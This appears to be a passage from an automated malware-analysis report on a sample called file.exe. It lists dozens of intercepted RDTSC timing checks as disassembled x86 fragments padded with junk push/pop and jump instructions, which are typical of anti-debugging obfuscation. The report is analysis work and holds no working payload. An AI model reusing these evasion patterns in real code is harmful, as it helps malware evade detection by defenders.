Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FF17 second address: 61FFDF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7EC906D1D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F7EC906D1E2h 0x00000012 nop 0x00000013 lea eax, dword ptr [ebp+124949C0h] 0x00000019 sub edi, dword ptr [ebp+122D1878h] 0x0000001f nop 0x00000020 jmp 00007F7EC906D1E5h 0x00000025 push eax 0x00000026 pushad 0x00000027 jmp 00007F7EC906D1E1h 0x0000002c jmp 00007F7EC906D1E8h 0x00000031 popad 0x00000032 nop 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007F7EC906D1D8h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 0000001Ch 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d jmp 00007F7EC906D1E4h 0x00000052 push esi 0x00000053 mov dx, cx 0x00000056 pop edx 0x00000057 lea eax, dword ptr [ebp+1249497Ch] 0x0000005d mov dword ptr [ebp+122D1917h], ecx 0x00000063 push eax 0x00000064 pushad 0x00000065 pushad 0x00000066 jnp 00007F7EC906D1D6h 0x0000006c pushad 0x0000006d popad 0x0000006e popad 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FFDF second address: 61FFE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FFE3 second address: 5FB693 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7EC906D1D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e call 00007F7EC906D1DCh 0x00000013 mov di, ax 0x00000016 pop edx 0x00000017 movzx edi, bx 0x0000001a call dword ptr [ebp+122D1934h] 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB693 second address: 5FB697 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659128 second address: 659144 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 pop esi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F7EC906D1DAh 0x00000014 push edi 0x00000015 push eax 0x00000016 pop eax 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659144 second address: 659149 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659149 second address: 65914F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB35A second address: 5DB35E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB35E second address: 5DB364 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB364 second address: 5DB368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6627D9 second address: 6627FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E1h 0x00000007 ja 00007F7EC906D1D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6627FA second address: 6627FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662B1B second address: 662B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662B1F second address: 662B23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662B23 second address: 662B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F7EC906D1E5h 0x0000000c pop eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662B43 second address: 662B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6630D0 second address: 6630D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663502 second address: 663506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663506 second address: 66350C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66350C second address: 663525 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F7EC882AEDBh 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jne 00007F7EC882AED6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663664 second address: 66366A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663AD4 second address: 663AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663AD9 second address: 663AE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F7EC906D1D6h 0x0000000a jnc 00007F7EC906D1D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66241E second address: 662427 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662427 second address: 66242D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66242D second address: 662433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662433 second address: 66243D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66611A second address: 666126 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 666126 second address: 66612C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66612C second address: 666130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 666130 second address: 66614E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7EC906D1DCh 0x00000011 jnc 00007F7EC906D1D6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66614E second address: 666152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6662AC second address: 6662B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6662B2 second address: 6662CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007F7EC882AEE4h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6699B2 second address: 669A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F7EC906D1E5h 0x0000000d pop edi 0x0000000e popad 0x0000000f jo 00007F7EC906D21Eh 0x00000015 js 00007F7EC906D202h 0x0000001b jmp 00007F7EC906D1E6h 0x00000020 jmp 00007F7EC906D1E6h 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 jng 00007F7EC906D1D6h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66927C second address: 669287 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669538 second address: 66955C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7EC906D1D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7EC906D1E5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6696A2 second address: 6696C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F7EC882AED6h 0x00000010 jmp 00007F7EC882AEE3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66EC6E second address: 66EC7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 pop edi 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66EC7B second address: 66EC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7EC882AED6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66DE5E second address: 66DE71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7EC906D1DDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66DE71 second address: 66DE9D instructions: 0x00000000 rdtsc 0x00000002 je 00007F7EC882AED8h 0x00000008 jo 00007F7EC882AEDAh 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 jmp 00007F7EC882AEE2h 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66DE9D second address: 66DEB3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jl 00007F7EC906D1D6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F7EC906D1D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66DEB3 second address: 66DEB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E1B2 second address: 66E1B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E309 second address: 66E34B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F7EC882AEDAh 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 jmp 00007F7EC882AEE5h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E34B second address: 66E351 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E351 second address: 66E36B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7EC882AEE1h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E4C8 second address: 66E4CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E4CC second address: 66E4D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E662 second address: 66E667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E667 second address: 66E67D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7EC882AEDBh 0x00000008 jo 00007F7EC882AED6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E67D second address: 66E689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675B06 second address: 675B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7EC882AEE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675B1E second address: 675B24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675B24 second address: 675B2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6746E1 second address: 6746EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F7EC906D1D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6746EB second address: 6746EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674A15 second address: 674A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F7EC906D1E2h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7EC906D1DAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FA0B second address: 61FA11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674BBD second address: 674BE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jng 00007F7EC906D1D6h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674BE5 second address: 674BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678827 second address: 67882B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67882B second address: 67882F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6789A8 second address: 6789C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F7EC906D1E1h 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678CAB second address: 678CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678CB2 second address: 678CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F7EC906D1D6h 0x0000000c popad 0x0000000d pop esi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7EC906D1E6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678CD9 second address: 678CFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7EC882AEE8h 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678CFC second address: 678D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7EC906D1E4h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A704 second address: 67A708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A708 second address: 67A70E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683329 second address: 68332F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68332F second address: 683340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F7EC906D1D6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681365 second address: 681379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7EC882AEDEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681379 second address: 681392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7EC906D1E5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681392 second address: 68139E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68139E second address: 6813AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7EC906D1DBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681504 second address: 681525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F7EC882AEECh 0x0000000b jmp 00007F7EC882AEE6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681525 second address: 68152C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6816BD second address: 6816C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681C5E second address: 681C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681C62 second address: 681C66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681F05 second address: 681F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7EC906D1E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681F1F second address: 681F23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682A3B second address: 682A56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7EC906D1E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682A56 second address: 682A5F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682D47 second address: 682D4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682D4D second address: 682D6D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7EC882AED6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jmp 00007F7EC882AEE2h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682D6D second address: 682D72 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686870 second address: 686876 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686876 second address: 68687C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68687C second address: 6868D2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7EC882AED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F7EC882AEE8h 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F7EC882AEE0h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c push edx 0x0000001d pop edx 0x0000001e pop esi 0x0000001f pushad 0x00000020 jmp 00007F7EC882AEE9h 0x00000025 jmp 00007F7EC882AEDEh 0x0000002a push eax 0x0000002b pop eax 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6868D2 second address: 6868D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6868D7 second address: 6868E1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7EC882AEDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686A42 second address: 686A5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686E53 second address: 686E99 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push ecx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 jmp 00007F7EC882AEE9h 0x00000016 pushad 0x00000017 popad 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F7EC882AEE7h 0x00000020 rdtsc
